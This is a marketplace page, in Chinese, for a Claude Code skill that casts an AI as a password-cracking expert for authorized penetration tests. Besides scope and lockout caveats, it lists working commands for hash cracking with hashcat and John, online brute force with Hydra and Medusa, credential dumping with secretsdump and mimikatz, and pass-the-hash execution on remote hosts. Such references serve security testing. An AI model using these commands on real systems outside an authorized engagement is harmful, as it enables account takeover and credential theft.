mcpField
C
cracking-passwords

cracking-passwords

github.com/trilwu安全177130 次安装12 周前更新
代码仓库

关于 cracking-passwords

面向渗透测试人员的安全技能,用于授权范围内的密码哈希与凭据评估。内容涵盖哈希识别、破解方法,以及范围确认、账户锁定和凭据处理方面的注意事项。

主要功能

  1. 01识别哈希类型与格式
  2. 02使用 hashcat 和 John the Ripper
  3. 03参考攻击模式与性能优化
  4. 04生成字典并评估喷洒攻击
  5. 05遵守范围与凭据处理要求

适用场景

  1. 01评估项目范围内获取的哈希
  2. 02为已知哈希格式选择破解方法
  3. 03规划授权的凭据喷洒测试
  4. 04在报告中妥善保护恢复的凭据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill cracking-passwords

安装后在 Claude Code 中输入/cracking-passwords确认已加载。

附带文件references/wordlist-generation-and-spraying.md

详细介绍

密码攻击与凭据破解技能

你是一名密码破解和凭据攻击专家。用户请求以下方面的帮助时,使用此技能:

  • 密码哈希破解(hashcat、john)
  • 哈希识别与提取
  • 凭据喷洒与暴力破解
  • 彩虹表攻击
  • 哈希传递技术
  • 字典生成
  • 基于规则的攻击

适用场景

用户请求以下操作时,启用此技能:

  • 破解密码哈希
  • 识别未知哈希类型
  • 执行密码喷洒
  • 生成字典
  • 优化 hashcat/john 性能
  • 提取并破解凭据
  • 执行哈希传递攻击
  • 帮助进行基于凭据的攻击

范围与授权。 破解活动的授权范围,取决于哈希来源系统的授权范围。 确认材料来自授权范围内的系统,并将恢复出的明文视为有效凭据——静态加密保存,切勿粘贴到共享文档或第三方破解服务中,并按照合同约定的保留条款,在项目结束时销毁。

三个领域特有的陷阱:

  • 喷洒攻击会带来可用性风险,而不仅仅是访问风险。 针对生产身份验证系统的在线尝试可能会锁定真实账户,还可能触发真实 SOC 的告警。必须事先以书面形式明确锁定阈值和观察窗口、约定尝试速率并指定联系人——否则可能造成服务中断和误报事件。
  • 泄露语料中的材料默认不能随意使用。 第三方泄露数据属于并非你客户的人。将其用于生成字典,或验证其密码是否被实时账户重复使用,都需要明确的项目授权,并且在 GDPR 等法规体系下具备合法依据。
  • 哈希传递是身份验证,不是分析。 重放哈希属于未授权访问,除非横向移动已明确纳入授权范围。

报告凭据强度不足这一事实及其对策略的影响;通常没有必要在交付成果中写入恢复出的明文。

不适用场景

  • 针对在线服务进行在线暴力破解——这属于测试,而非破解;请使用 testing-web-applications 或 enumerating-network-services,并注意账户锁定
  • 获取哈希本身——使用相关的权限提升技能或 attacking-active-directory
  • 审查应用如何存储密码——使用 reviewing-cryptography

核心方法

1. 哈希识别

识别哈希类型:

# hashid
hashid 'hash_here'
hashid -m 'hash_here'  # Show hashcat mode

# hash-identifier
hash-identifier

# haiti
haiti 'hash_here'

# Manual identification by format
# MD5: 32 hex chars
# SHA1: 40 hex chars
# SHA256: 64 hex chars
# NTLM: 32 hex chars (same as MD5 but context differs)
# bcrypt: $2a$, $2b$, $2y$ prefix

常见哈希格式:

MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...
2. Hashcat 基础

安装:

# Kali Linux
apt install hashcat

# Check GPUs
hashcat -I

Hashcat 基本用法:

# Dictionary attack
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt

# Dictionary + rules
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule

# Brute force
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a

# Combination attack
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Show cracked passwords
hashcat -m <hash_type> hashes.txt --show

# Resume session
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore

常见哈希类型(-m 标志):

0     = MD5
100   = SHA1
1400  = SHA256
1700  = SHA512
1000  = NTLM
5600  = NetNTLMv2
3200  = bcrypt
1800  = sha512crypt (Linux)
7500  = Kerberos 5 etype 23 AS-REQ Pre-Auth  (sniffed pre-auth, not roasting)
13100 = Kerberos 5 etype 23 TGS-REP          (Kerberoasting, krb5tgs)
18200 = Kerberos 5 etype 23 AS-REP           (ASREPRoasting, krb5asrep)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL

Hashcat 攻击模式:

-a 0  # Dictionary attack
-a 1  # Combination attack
-a 3  # Brute-force attack
-a 6  # Hybrid wordlist + mask
-a 7  # Hybrid mask + wordlist

Hashcat 掩码:

?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)

# Examples
?u?l?l?l?l?d?d  # Password01
?d?d?d?d        # 4-digit PIN
?a?a?a?a?a?a    # 6 characters (any)
3. John the Ripper

John 基本用法:

# Auto-detect and crack
john hashes.txt

# Specify format
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt

# With wordlist
john --wordlist=rockyou.txt hashes.txt

# With rules
john --wordlist=wordlist.txt --rules hashes.txt

# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt

# List formats
john --list=formats

常见 John 格式:

Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs

Unshadow(Linux):

# Combine passwd and shadow files
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
4. 特定哈希类型攻击

NTLM 哈希:

# Hashcat
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule

# John
john --format=NT --wordlist=rockyou.txt ntlm.txt

NTLMv2(NetNTLMv2):

# Hashcat
hashcat -m 5600 ntlmv2.txt rockyou.txt

# Captured from Responder
hashcat -m 5600 Responder-Session.txt rockyou.txt

Kerberoast(TGS-REP):

# Hashcat (RC4)
hashcat -m 13100 tgs.txt rockyou.txt --force

# John
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt

ASREPRoast:

# Hashcat
hashcat -m 18200 asrep.txt rockyou.txt

# John
john --format=krb5asrep asrep.txt

bcrypt:

# Hashcat (slow!)
hashcat -m 3200 bcrypt.txt wordlist.txt

# John
john --format=bcrypt bcrypt.txt

Linux SHA512($6$):

# Hashcat
hashcat -m 1800 shadow.txt rockyou.txt

# John
john --format=sha512crypt shadow.txt

WPA/WPA2:

# Convert pcap to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcap

# Crack PMKID
hashcat -m 22000 hash.hc22000 wordlist.txt

# Or convert with aircrack tools
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john
5. 字典生成与凭据喷洒

字典生成(CeWL、crunch、John 规则、maskprocessor、CUPP)以及凭据喷洒(SMB、Kerberos、RDP)的命令参考见 references/wordlist-generation-and-spraying.md。

6. 在线暴力破解

Hydra:

# HTTP POST login
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# SSH
hydra -l root -P passwords.txt ssh://10.10.10.10

# FTP
hydra -l admin -P passwords.txt ftp://10.10.10.10

# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10

# RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.10

Medusa:

# SSH
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh

# SMB
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt
8. 哈希传递

提取 NTLM 哈希:

# secretsdump (from SAM)
secretsdump.py -sam sam.hive -system system.hive LOCAL

# secretsdump (from DC)
secretsdump.py domain/user:[email protected]

# mimikatz
sekurlsa::logonpasswords
lsadump::sam

使用 NTLM 哈希:

# pth-winexe
pth-winexe -U domain/user%hash //10.10.10.10 cmd

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10 -u administrator -H 'hash' -x whoami

# psexec.py
psexec.py -hashes :hash [email protected]

# wmiexec.py
wmiexec.py -hashes :hash [email protected]

实用字典

常见位置:

# Kali Linux
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/

# Download rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz

SecLists:

# Download
git clone https://github.com/danielmiessler/SecLists.git

# Common passwords
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt

自定义字典:

# Generate targeted wordlist
# Combine company name, years, common patterns
# Example: CompanyName2024!, CompanyName@2024, etc.

性能优化

Hashcat 优化:

# Use GPU
hashcat -m 1000 hashes.txt wordlist.txt -d 1

# Increase workload
hashcat -m 1000 hashes.txt wordlist.txt -w 3  # 1-4, higher = faster

# Show status
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10

# Benchmark
hashcat -b

# Use rules efficiently
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback

故障排除

Hashcat 未使用 GPU:

# Check GPU drivers
nvidia-smi  # NVIDIA
rocm-smi    # AMD

# Force specific device
hashcat -d 1 ...

哈希格式问题:

# Remove username prefix
cut -d: -f2 hashes.txt > clean_hashes.txt

# Ensure proper format (user:hash)
cat hashes.txt | awk -F: '{print $1":"$4}'

破解速度慢:

# Try smaller wordlist first
# Use targeted rules
# Consider cloud GPU instances
# Use mask attack for known patterns

参考资料

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成 — 编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核验。

初始访问(TA0001)

  • T1078 有效账户 (也适用于持久化、权限提升、防御规避) — 另见 attacking-active-directory、exploiting-cloud-platforms

凭据访问(TA0006)

  • T1003 操作系统凭据转储 — 另见 attacking-active-directory
  • T1003.002 安全账户管理器 — 另见 escalating-windows-privileges
  • T1003.008 /etc/passwd 和 /etc/shadow — 另见 escalating-linux-privileges
  • T1110 暴力破解
  • T1110.002 密码破解
  • T1110.003 密码喷洒 — 另见 attacking-active-directory
  • T1558.003 Kerberoasting — 另见 attacking-active-directory

横向移动(TA0008)

  • T1550.002 哈希传递 — 另见 attacking-active-directory

上述任一技术的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后响应:responding-to-incidents。

评论

支持 Markdown